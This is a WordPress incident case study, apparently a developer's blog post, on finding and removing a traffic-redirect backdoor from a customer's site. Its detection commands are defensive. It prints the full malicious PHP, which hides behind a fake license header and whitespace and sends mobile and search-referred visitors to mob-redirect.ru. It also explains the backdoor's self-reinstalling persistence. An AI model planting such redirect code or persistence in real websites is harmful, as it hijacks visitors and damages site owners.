WordPress backdoor infection case study: ilat.info

WordPress backdoor infection case study: ilat.info

Ilya Latyshev – one of my customers has complained that Yandex (popular russian search engine) has banned one of his sites from it’s search index. Ilya asked for my assistance in this matter.

Yandex stated that when end-user clicked a link to ilat.info on search results page browser was redirected to some other website.

It is sometimes hard for the site owners to detect such problems because redirect arises only when link from external sources was clicked. And sometimes it happens only on mobile devices.

Ok, looks like 3rd party intrusion to me.

Heads up: below is the story how I cured WordPress site from infection. It might be interesting for developers who are fighting the same problem.

If you are not a developer, but the same shit hit your fan,
go on, ping me. I might be able to save your site.

Step 1. Find a backdoor
sherlock-reads-2
Let’s begin with backdoor detection. The easiest way to do that is to download the source code of the site and scan it with Antivirus software. I use Avast antivirus and it helped me more than once with such a matter.

The alternative way to detect backdoor is to search all the php files for the content with the regular expression like this: ‘[A-Za-z0-9+/]{255}’. This regular expression detects base64 encoded strings longer than 255 chars – favorite villain’s way to obfuscate evil code.

You can search for this regular expression using your favorite code editor like SublimeText or PhpStorm or whatever.

Or if you do have access to your site via ssh you can use grep util, no need to download site then:

grep -R --include *.ph* '[A-Za-z0-9+/]{255}' .

Another aproach you can try – detect executables. PHP scripts that contain backdoors tend to have ‘x’ permission. How do we find them? Presuming you are in the site root directory:

find . -executable -type f

… or if that command is not working:

find . -perm /u=x,g=x,o=x -type f

Heads up: note the dot at the end, it stands for ‘current directory’, assuming you run this command from the web-site root directory.

Ok my Avast antivirus found two strange files:

1: /ilat.info/wp-apps.php
2: /ilat.info/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_basic_gallery/static/thumbnails/piclens/lytebox/images/configuration.php

Both of them looked like WSO shell backdoor to me or something very similar.

The first one – wp-apps.php was mimicking one of those numerous wp-*.php files in the wordpress root folder.

The other one …/images/configuration.php seemed to be far far away from the root and was the only php file among images in the ‘images’ folder.

Hint: it is a good strategy to download latest wordpress release and check whether it contains the files you suspect as malware.

Ok, now we know the security was compromised now we need to find out what those villains did using backdoor.

Step 2. Use the clues customer provided to look for anomalies
sherlock-watson
Ok, we do know that hacker redirects our users to some site when user clicks a link to our site on Yandex search page. What clues do we have here?

One can perform redirect from php:

header(‘Location: blablabla.com’);

… or javascript:

window.location = ‘blablabla.com;

Hacker checks the traffic source (yandex.ru in our case) to be external. It can be done by checking ‘referer’ field in http header. If the hacker shaves Yandex traffic, he probably does the same with google.

Usually hackers do not hardcode the traffic redirect target site address, but who knows maybe we are dealing with newbie, still worth trying.

Like I said before, one of the favorite hacker’s strategies this day is to shave mobile traffic. It can be done by checking ‘user-agent’ http header for android, ios, iphone, ipad, webos, etc. keywords.

Ok here’s our keywords we gonna search source code for:

  • header, location
  • referer, yandex, google
  • <the site address users are redirected to>
  • user-agent, user_agent, android, webos, ios, iphone, ipad, blackberry
  • redirect

We gonna perform case-insensitive search for those in php, phtml, html, htm and js files.

In a while I found these two identical files containing almost all our clues:

  • wp-includes/class-wp-default.php
  • wp-includes/inc.class.php

Again they were mimicking WordPress core file, but when comparing against clean WordPress distribution bundle, you won’t find those.

Let’s look inside:

/*
=====================================================
WordPress - Open Source Matters
-----------------------------------------------------
https://wordpress.org/
-----------------------------------------------------
Copyright (c) 2004,2014
=====================================================
Данный код защищен авторскими правами
=====================================================
Назначение: Класс конфигурации
=====================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright © 2007 Free Software Foundation, Inc. &lt;http://fsf.org&gt;
Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
*/                                                                                                                      function check_cookie($url_redirect){ if (($_SERVER['HTTP_REFERER'] != null) and ($_SERVER['HTTP_REFERER'] != "") and ($_SERVER['HTTP_REFERER'] != " ")){ if(isset($_COOKIE['_cutt_caches_images']) &amp;&amp; $_COOKIE['_cutt_caches_images']&lt;strtotime('+24 hours'))return false; setcookie('_cutt_caches_images', time(), strtotime('+24 hours'),"/");header("Location: $url_redirect");exit;}}$q=$_SERVER['QUERY_STRING'];$referer = $q;$referer = str_replace('&amp;', '*', $referer);$referer = str_replace(';', '~', $referer);$referer = trim($referer);$s=stristr($q,'union');$s2=stristr($q,'select');$s3=stristr($q,'from');$s4=stristr($q,'jos_users');$s5=stristr($q,'concat');$s6=stristr($q,'username');$s7=stristr($q,'password');$link = 'http://'.$_SERVER['SERVER_NAME'];if((($s!=false)and($s2!=false))or(($s3!=false)and($s4!=false))or(($s5!=false)and($s6!=false))or(($s5!=false)and($s7!=false))or(($s5!=false)and($s4!=false))){header("Location: $link");exit;}$android_redirect = 'http://mob-redirect.ru/?andr';$ios_redirect = 'http://mob-redirect.ru/?ios';$another_mobile_redirect = 'http://mob-redirect.ru/?mb';$web_potok = 'http://web-redirect.ru/?web';$iphone = stristr($_SERVER['HTTP_USER_AGENT'],"iPhone");$ipod = stristr($_SERVER['HTTP_USER_AGENT'],"iPod");$ipad = stristr($_SERVER['HTTP_USER_AGENT'],"iPad");$android = stristr($_SERVER['HTTP_USER_AGENT'],"Android");$symb = stristr($_SERVER['HTTP_USER_AGENT'],"Symbian");$wp7 = stristr($_SERVER['HTTP_USER_AGENT'],"WP7");$wp8 = stristr($_SERVER['HTTP_USER_AGENT'],"WP8");$winphone = stristr($_SERVER['HTTP_USER_AGENT'],"WindowsPhone");$berry = stristr($_SERVER['HTTP_USER_AGENT'],"BlackBerry");$palmpre = stristr($_SERVER['HTTP_USER_AGENT'],"webOS");$mobile_tel = stristr($_SERVER['HTTP_USER_AGENT'],"Mobile");$operam = stristr($_SERVER['HTTP_USER_AGENT'],"Opera M");$htc = stristr($_SERVER['HTTP_USER_AGENT'], 'HTC');$fennec = stristr($_SERVER['HTTP_USER_AGENT'],"Fennec");if ($android == true)check_cookie($android_redirect);elseif (($iphone == true) or ($ipod == true) or ($ipad == true)) check_cookie($ios_redirect);elseif (($palmpre == true) or ($mobile_tel == true) or ($operam == true) or ($htc == true) or ($wp7 == true) or ($wp8 == true) or ($symb == true) or ($berry == true) or ($fennec == true) or ($winphone == true)) check_cookie($another_mobile_redirect);elseif (preg_match('#google|yahoo|yandex|vk|odnoklassniki|mail|youtube|wikipedia|netscape|bing|facebook|twitter|dmoz|ebay|icq|yandex|google|rambler#i',$_SERVER['HTTP_REFERER']))check_cookie($web_potok);else $aaa = false;

Looks innocent, ha? Just scroll the code to the right.

Hello, hello, naughty boy! This piece of code contains all of our keywords, gotcha!

Step 3. Investigate crime scene
sherlock-teapots-2
Ok, now we know the place where the bad things are done. Let’s see how this mechanism is run and how it was enabled and can be reenabled.

First let’s find where those inc.class.php and class-wp-default.php called. Here’s what I found:

  • wp-blog-header.php calls (‘requires’) inc.class.php, and wp-blog-header.php is called each time WordPress processes http request.
  • wp-includes/class-category.php – another file that is non-existing in original WP. This shady script takes the content from class-wp-default.php copies it to inc.class.php and prepends ‘require_once( dirname(ABSPATH) . “/wp-includes/inc.class.php” );’ to wp-blog-header.php.
  • class-wp-default.php is never ‘required’ and is used only from class-category.php as backup version.
  • class-category.php is never ‘required’ so it seems to be called directly from the browser or by cron to enable/reenable our redirects.

Finally let’s find where those backdoors are called maybe. Usually they are accessed directly via browser or cron or remote script, but who knows? Here’s what I found out:

  • …/images/configuration.php was never ‘required’, so it was accessed directly. And it is that very backdoor that was used for the intrusion I was investigating. The code style is similar to the other shady files I found.
  • wp-apps.php was ‘required’ by the footer.php in almost every WordPress theme installed. It was probably used for some other intrusion (by some other hacker perhaps).

Step 4. Crime scene reconstruction
sherlock-thinks
So let’s review the whole scenario of this intrusion:

  • Our villain somehow infected WordPress site with the shell backdoor. It can be done by exploiting some WordPress vulnerability (low risk), some popular WP plugin vulnerability (more than average risk) or by injecting backdoor to existing plugin and publishing it somewhere with an article about awesome WP plugin (high risk) waiting for the site owner to download it.
  • Then our Villain used backdoor to uploaded wp-includes/class-wp-default.php contataining redirect mechanism and wp-includes/class-category.php containing malware bootstrap mechanism.
  • Then he called directly wp-includes/class-category.php to create wp-includes/inc.class.php from reserved copy in wp-includes/class-wp-default.php and injected ‘require_once( dirname(ABSPATH) . “/wp-includes/inc.class.php” );’ to wp-blog-header.php.
  • The last step was probably scheduled on cron to run periodically from some far far away server.

Step 5. The cure
sherlock-sociopath
Well, now when we see the whole picture it is quite it is quite obvious what need’s to be done to cure site:

  • Remove all the found backdoors: wp-apps.php and …/images/configuration.php. Had to remove ‘require wp-apps.php’ from all the footer.php files from installed themes. And in case of …/images/configuration.php had to add writing privilege to the folder that contained it, got ‘permission required’ otherwise.
  • Heal wp-blog-header.php by removing reference to wp-includes/inc.class.php
  • Remove all the shady files: wp-includes/class-category.php, wp-includes/class-wp-default.php, wp-includes/inc.class.php

Uh… oh… hm…
sherlock-is-sherlock-cut
Ok, if you’re got the problem with 3rd party intrusion to your website, but lost the understanding of what’s going on on Step 1, just ping me and maybe I’ll be able to help you.

It was not the first site I cured from infection.
If I was given a dollar each time I cure someone’s site,
I’d have 5 dollars by now.

{{"Show older comments..."|nls}}{{comments.length}} {{"of"|nls}} {{total}} {{"shown" | nls}}

{{'Comment'|nls}}:

{{(dialog.replies.length > 1?'Replies':'Reply')|nls}}: